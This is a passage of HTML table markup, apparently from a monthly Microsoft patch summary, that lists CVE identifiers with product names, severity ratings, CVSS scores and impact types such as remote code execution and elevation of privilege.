  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045"><span>CVE-2026-55045</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049"><span>CVE-2026-55049</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129"><span>CVE-2026-55129</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056"><span>CVE-2026-55056</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140"><span>CVE-2026-55140</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043"><span>CVE-2026-55043</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123"><span>CVE-2026-55123</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"><span>CVE-2026-55120</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><span>CVE-2026-50522</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>CVE-2026-58644</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Security Feature Bypass Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117"><span>CVE-2026-54117</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"><span>CVE-2026-54118</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655"><span>CVE-2026-50655</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189"><span>CVE-2026-56189</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090"><span>CVE-2026-57090</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094"><span>CVE-2026-57094</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087"><span>CVE-2026-57087</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><span>CVE-2026-57092</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033"><span>CVE-2026-55033</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127"><span>CVE-2026-55127</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132"><span>CVE-2026-55132</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><span>CVE-2026-55010</span></a></td>
  <td width="256" class="xl74">Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474"><span>CVE-2026-50474</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164"><span>CVE-2026-49164</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128"><span>CVE-2026-54128</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><span>CVE-2026-50518</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796"><span>CVE-2026-49796</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380"><span>CVE-2026-50380</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127"><span>CVE-2026-54127</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680"><span>CVE-2026-50680</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327"><span>CVE-2026-50327</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542"><span>CVE-2026-58542</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608"><span>CVE-2026-58608</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982"><span>CVE-2026-54982</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995"><span>CVE-2026-54995</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982"><span>CVE-2026-42982</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392"><span>CVE-2026-50392</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694"><span>CVE-2026-50694</span></a></td>
  <td width="256" class="xl74">Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><span>CVE-2026-56188</span></a></td>
  <td width="256" class="xl74">Windows Server Network
  driver Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444"><span>CVE-2026-50444</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999"><span>CVE-2026-54999</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47302"><span>CVE-2026-47302</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50525"><span>CVE-2026-50525</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50651"><span>CVE-2026-50651</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57108"><span>CVE-2026-57108</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50524"><span>CVE-2026-50524</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50527"><span>CVE-2026-50527</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50648"><span>CVE-2026-50648</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50650"><span>CVE-2026-50650</span></a></td>
  <td width="256" class="xl74">.NET Framework
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646"><span>CVE-2026-50646</span></a></td>
  <td width="256" class="xl74">.NET Framework Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649"><span>CVE-2026-50649</span></a></td>
  <td width="256" class="xl74">.NET Remote Code
  Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"><span>CVE-2026-47304</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"><span>CVE-2026-50528</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50659"><span>CVE-2026-50659</span></a></td>
  <td width="256" class="xl74">.NET Spoofing
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50526"><span>CVE-2026-50526</span></a></td>
  <td width="256" class="xl74">.NET Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50682"><span>CVE-2026-50682</span></a></td>
  <td width="256" class="xl74">Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55001"><span>CVE-2026-55001</span></a></td>
  <td width="256" class="xl74">Active Directory
  Domain Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50647"><span>CVE-2026-50647</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50684"><span>CVE-2026-50684</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56170"><span>CVE-2026-56170</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300"><span>CVE-2026-47300</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303"><span>CVE-2026-47303</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50652"><span>CVE-2026-50652</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50653"><span>CVE-2026-50653</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57969"><span>CVE-2026-57969</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58279"><span>CVE-2026-58279</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47632"><span>CVE-2026-47632</span></a></td>
  <td width="256" class="xl74">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50338"><span>CVE-2026-50338</span></a></td>
  <td width="256" class="xl74">Azure Spring Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50488"><span>CVE-2026-50488</span></a></td>
  <td width="256" class="xl74">Clipboard User Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50491"><span>CVE-2026-50491</span></a></td>
  <td width="256" class="xl74">Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"><span>CVE-2026-50381</span></a></td>
  <td width="256" class="xl74">Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50427"><span>CVE-2026-50427</span></a></td>
  <td width="256" class="xl74">Content Delivery
  Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50692"><span>CVE-2026-50692</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
